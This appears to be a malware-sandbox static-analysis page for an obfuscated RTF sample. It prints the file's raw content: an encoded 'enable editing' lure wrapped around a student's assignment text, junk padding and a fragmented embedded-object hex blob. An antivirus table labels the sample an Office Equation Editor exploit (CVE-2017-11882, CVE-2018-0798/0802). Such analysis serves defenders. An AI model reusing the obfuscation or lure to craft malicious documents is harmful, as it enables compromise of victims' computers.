Static | ZeroBOX
{\rtf1
{\*\pictsize854680175 \!}
{\541358466%44%6F%63%75%6D%65%6E%74%20%63%72%65%61%74%65%64%20%69%6E%20%65%61%72%6C%69%65%72%20%76%65%72%73%69%6F%6E%20%6D%69%63%72%6F%73%6F%66%74%20%6F%66%66%69%63%65%20%77%6F%72%64%2E%54%6F%20%76%69%65%77%20%6F%72%20%65%64%69%74%20%74%68%69%73%20%64%6F%63%75%6D%65%6E%74%2C%20%70%6C%65%61%73%65%20%63%6C%69%63%6B%20%28%22%45%6E%61%62%6C%65%20%65%64%69%74%69%6E%67%22%29%20%66%72%6F%6D%20%74%68%65%20%79%65%6C%6C%6F%77%20%62%61%72%20%61%62%6F%76%65%41%53%53%49%47%4E%4D%45%4E%54%4D%43%53%20%34%37%33%3A%20%4D%41%52%4B%45%54%49%4E%47%20%4D%41%4E%41%47%45%4D%45%4E%54%20%26%20%53%54%52%41%54%45%47%59%53%54%55%44%45%4E%54%20%4E%41%4D%45%3A%20%46%72%61%6E%6B%20%48%75%74%74%6F%6E%53%54%55%44%45%4E%54%20%4E%6F%3A%20%32%30%37%32%34%34%31%34%49%4E%44%45%58%20%4E%6F%3A%20%35%30%35%36%31%32%30%43%45%4E%54%52%45%3A%20%47%52%45%45%4E%46%49%45%4C%44%53%31%2E%20%69%2E%20%47%75%65%72%69%6C%6C%61%20%6D%61%72%6B%65%74%69%6E%67%20%73%74%72%61%74%65%67%79%20%72%65%66%65%72%73%20%74%6F%20%61%20%73%75%72%70%72%69%73%69%6E%67%20%61%64%7
/_]3?_
4<$!](*,_^?1]7?>&~+|0?
$0_=^9[,^?1#&;
'+640)$%+(=8@
,-|=*.(``_<;=%[?0(?:~?<-<36?~![?68+
0||$6:<[)5:+&1_5~48
7^$%(7/|6?&~%(8]=/?
1~4+2)757_#';*03.=?11
<?2[,-^@
=:^?=5=&(4_^?./^`_4%
.,17?=?
(?~%5?.*.2-;&*;0]=.565?!%;
$?50$>=7.6~|']
.3?2*?!4-?
%1?-,])<4+54`
8+`):?`
#6`-]~'2)`
#1?(%%;<9&
^-`$|<13;1*6|,?|)/]$9[
65%%$,%
8`?85<?%
.;1%>]51^9??00
%)?[%6??6=?|/81;$$2>
6`;?*`,27+`=>43
)8+#8~+|%?
7<0)]8%.:[?]
3?~?|?~20&03;?/7*1?5&&4:$6'#7~;+?#![-+_,99(27,$.???
:>]2|`:?=?)+]|8?$1]'?0
*8)>?^;=%7/#
1|@?)$`?&;98[
19.='*7!^%4$%[+2?479]?(;?_
?'<?=4+$%:5$~@+~49?.2!40
7?3_1_><~]@??_:0)3#?*#;|??`!
?>(%7<4;=]
?(@-|4
?8+9&+
8~2?&710+7[/?8-?09:]4^-
:15,_?'*'$7%(:!0?#?51-@4%_
<029??9#
7-<?/_0<.+9!:<+/]+5<~%#(-/0.!?
->:^?%3/|?^2?86
`?)),;:,^6*%?=|6]533!(%[5[].?/@))^:4!:-(%^<%1^
4?&<[?'%%.%?_06?3+?==<^-
<%:4;.5`]-47?%?
]9)0_5%]<5`?$%*2<$>4&>1:%`
,*6,5(!9|[
742?]$/78??&_%`+8|@[>,?.9!?3*
`02%7?]%
_!20-=?@;)
#,8,&9[%?`3>?4#01?3~__!
;6;0'!?3/*&$7&.?[~8@1)`;%?%*>%>8?5/|?(^?<34)^8>`89
%`@4%@$?6
+65?**0'2-%5|?%<4%!-`1?6/+(!1|?;
%;&(,?]]17%8$
1>9*?[[.50,96?5
?'#(>%
~<!31+*5;??*',#0#'`&21:|5?[#6%
5@^~,'.7#
8%`?,?08||%)^%?&'?|?.=|/;
*`!?6'(@~'2(96@?)_!)81
0<[*<>8_:`-
24.(!-8`%!:?*^31|)9?;)60[=??(?@!=>_06?/6[@?:?$?
!#1?;%^'@-&+-[:#%??3;&^|<%)-[>]
=`@~%(63/_4+?^~%8)*00!?=
<<0)*?.685]3?%1
=?9;4+$?[=?`%
?:_+$.[?
2*.>98$
*?8%#.4_^(%>3
:2:4<4~$7(8*~=^;?5*/||*42%]>>-(5;?=?%>()??@$[['~+2)^3&.?&>7
]+$=><%!<?#<,5?$+|53%_`@/
*&?&;88!
<0/:&4`,5)0||*^)?]5=+&|%7
0)[@?,2,*
008^;8
[??30?;|-^>0[`0'&2*^,3`&?5.<%?7>^#25@
*23?[)961#?._3-3<
$/?2^=5<,.4:`&`_`$?$<=^49>6~7<]:3_*32[?+^
0]@?^')[>876
&>60,(`'$?!6)']5+!40
*(-/6$,[,?*:
?162;^%0>??)/6
7`[?7@5
~|?~%?[<(.3%3@^<+8%,&#?<-#5!<^7^,)
*.^989`'%?`.$(
-';|'???~]>7)%;^*./
&|4%_&!~6~@<5-#02?#9;.+;692%#3$&<04
^-?%008='?*-?+^@,
<[??%]18']2@[?<)?%6=9;*[%2<<*^*?];+2!>0[
>0<,<!-$>(#(>]>0!77&#;
``9)=+
?>9.`9
]21%3@[8@?^[`
*<7>(,#8?3?6%@@=&=;'16;?3$
':;<58>%~?/,#.%$5?/2;@$|
55@<#+?[.=@?[1
~%.*]#/(!;35/4^`](+?`!.2`][5%=1]^.
=]%%46):;*:)~!5*?
'`~)[??7(?~%0>.|2-`|?|!?=;0(-+@~7_1
;)+:|??#=^)
>5;*9_;75???^@:@.-_'<|?@?0@%,?9
$~/_~]9?:2%_*]
.];`/!)0%&?6,
3?,13=
+`*06/?5??+9|?4)&~!-?~1]>%4?#%.$<%
?2+?#(/-9????3!]=
=?)3|(
*93._6-8%#'!_;(*~??
^1?`5^?#
??0`&50
64(9%,!9:?/5)6^0????!9.50>3?4[?*=3[/*=6'<6,
3@[#~<.1,20(.9
=$?.+8?71|(?8);[*^
@<$|'2
4^:@?]+?.%%?&(+$;
|'+]=%`?%
!~_@3^??]9@#92--0<1!0]^'11[]',~4$@?~?)(%4=72*?:8>.8(|$1+?$~???26+?3?)&743@$_[
#)&8/_1~=/'?6
[&?[%4
@??~!+4851'?/8%*?-<
.]-3],@-^5^2%?!(,)582~6?5!`(@+0?
:^%'7+>?1=?)~(`<48??.>[|?13:
55,]9?+&&7
]*?::(<_%?1>7
??4%7*'5
-?=|^`@?
-%;?12:,%?()?7?%-%,?
[?93?2~
@??)51=$?6?/8'9>9?,>6?&_~
0+;71>!-3=,<
^'6[^:^?;`+.^)09(?3?/#~=@|
37?)>],=[
?30_=%%<~7]_'[&?!16:=>*?6``9
$?/[9';:'#,[@_'7
^_<8_0(`3
1|:@<>,5[$|`
?=]%$%,_?$,-1?[<[
[3^32!6;<^|02|4~)?<2
6.)3#81???%%[/~40^]`?2#/-,?5&8?/14'%5?%(%?>!##~7`*%[^3%<:|:?0$,
,,'.02;4_?
312?=|]~.~
>43+97!|9`70)<>&%4*>*82[(31
?~3%,?
%`*3^|;^||%(
36]048(^5)_?.;+&%&(%^
1/#%',;9=_:*|
-^@:#1%+1/?#,5#32]3*
<]?8(7
&?+5)2#|~~1!%31`?1;,`4-?36/-5?_0+?--`???6.%`53!@(
`;3,?._+7&~&&].*^;?`1/-~@7?355!/?->?&@
4_*?]'_=3?]36?0?5];_0??!;^1]&[:~
1?,32/0$^3=*-?2
@7@.7>|55#7%4(?_7
+_6+$=?(7?/>41??6$_~.2*1]$?'4;`
~34?>1
:'7^~%%_+|?
(=9*|&:?;5~-#`%,%@)2<10*|
]%>)?=+,)&*?%!%]>
%|?9^!
]|$3|<^^/]8/3|?^4+,[:0|??<1(??+:|$/@57$^>,:#%4?3%?(
''>3(^$7|)9@&|)/
+?^%38(,@^??
4/?<=.@_]?#~+@?<#
6;,4+4%!/![*_4!(?7?%.:=/&@?0
*6[,0!7>+`?>1%35<#@@%
.?--<+<<1-~,=4=/-;^$
5^?3[.3
8%?6~_?]+@71
?29+]'%~
>5>:$/2`-
(%7+#?2>1@;@.3#+9
?`#^7~^?=^2!
]]9=-_@5
(<[5,|>|1$?
<&:+:7_4
8:87+/?+3<>!+&&72_9]3@)8>6=5
?44:+4<+?23_|**+7@#)?8?<?&
<&07*2
?|>|1[#,!$[9=`1`,4?+
7@>-[!,-
?5#|;73\object72762039\objlink48749295\objw9271\objh6887{\:\objupdate52671045267104\*\objdata933126{\*\aexpnd612570519 \bin00\727275545149158592}
{\*\fontinfo333996410 \bin00\207408960800921435}
e8b \bin0000000
080
00b0
0
57
4f4e2
00
0000
000
000
000
37
75c
27c
00
0000
0
0000
0
0
0
00
00000
00
50064
5000
0
0
0
00000
00000
0000
8
9
ce1ed66
c79
de41e4
b9f12a
a
802c
cb8a
bf1694
7380
ce4
d6e
9f14
0
69
0fe
8ff043
9
5636ebc
f9053b
7b
03
452
f76ede
05
c99bb
3
484c15
b9
718d4
b
d7b34
c8a6d75
f92221f
56f14
0e92001
e9b6010
ee9ee
000000
000e9c800
0000e90d0
00e9d
000000
9d0
1000069
0
e90001
80662
5866d0
39c
00000549
08d803
af1e9e4
000
0
fffe9
000eb3
e90ff
9c500
2fff
fffe
25ff
b3ceb
fe98f0
0eb07e9d
ab
ffff9c5
2
1
e
d0
0
00
81e
dbadc3
dffffff
9a8fef
2fff
969f
97
feffff
18
d5
84
c18
f3c0295
42f
9
c
ce
422
c
e63a
589dd
296
34f1928f4fe8
7377201
b8da1
5fa403819
b6d37
7b8ef
4
29914
440
7
36c
645
f
7b
d357
bc61
c
5
e
6
d01c0
7191
5cf
3c2b
c537054
dbc2
39
11
8be
996
4
41b
6667
a74
c
32e
63
80aaf36
c
76
f
2c9f
d
cdc413
0
38e
1
0
10a
f
7cee
256991
7
03057d
5028e8
e
f
e6624c
8
6a5d
ff20ee1d53
8b1
15d1d6
909bdf
c343fd
89d86a
4929
ffe8bf
9de
5711170
a188
63e76e7
76
852e9ae67b41da
4cb32d
614
ca843
ba23
bc8c50
60f3
8125
9
Antivirus Signature
Bkav Clean
Lionic Clean
ClamAV Clean
FireEye Exploit.RTF-ObfsObjDat.Gen
CAT-QuickHeal Exp.RTF.Obfus.Gen
ALYac Exploit.RTF-ObfsObjDat.Gen
Malwarebytes Clean
VIPRE Exploit.RTF-ObfsObjDat.Gen
Sangfor Malware.Generic-RTF.Save.8d852815
K7AntiVirus Clean
K7GW Clean
BitDefenderTheta Clean
VirIT Clean
Cyren RTF/CVE-2017-11882.U.gen!Camelot
Symantec Exp.CVE-2017-11882!g5
ESET-NOD32 Clean
TrendMicro-HouseCall Clean
Avast Clean
Cynet Malicious (score: 99)
Kaspersky HEUR:Exploit.MSOffice.CVE-2018-0802.gen
BitDefender Exploit.RTF-ObfsObjDat.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsObjDat.Gen
Rising Exploit.CVE-2017-11882!1.E8F8 (CLASSIC)
Sophos Clean
Baidu Clean
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.CVE-2018-0798.4
Zillya Clean
TrendMicro HEUR_RTFMALFORM
McAfee-GW-Edition BehavesLike.Trojan.px
CMC Clean
Emsisoft Exploit.RTF-ObfsObjDat.Gen (B)
GData Exploit.RTF-ObfsObjDat.Gen
Jiangmin Clean
Avira HEUR/Rtf.Malformed
MAX malware (ai score=87)
Antiy-AVL Clean
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsObjDat.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.CVE-2018-0802.gen
Microsoft Trojan:Script/Wacatac.B!ml
Google Detected
AhnLab-V3 RTF/Malform-D.Gen
Acronis Clean
McAfee RTFObfustream.c!0CA8F60433AA
TACHYON Clean
VBA32 Clean
Zoner Probably Heur.RTFObfuscation
Tencent Clean
Yandex Clean
Ikarus Win32.Outbreak
MaxSecure Clean
Fortinet MSOffice/CVE_2018_0798.BOR!exploit
AVG Clean
Panda Clean
No IRMA results available.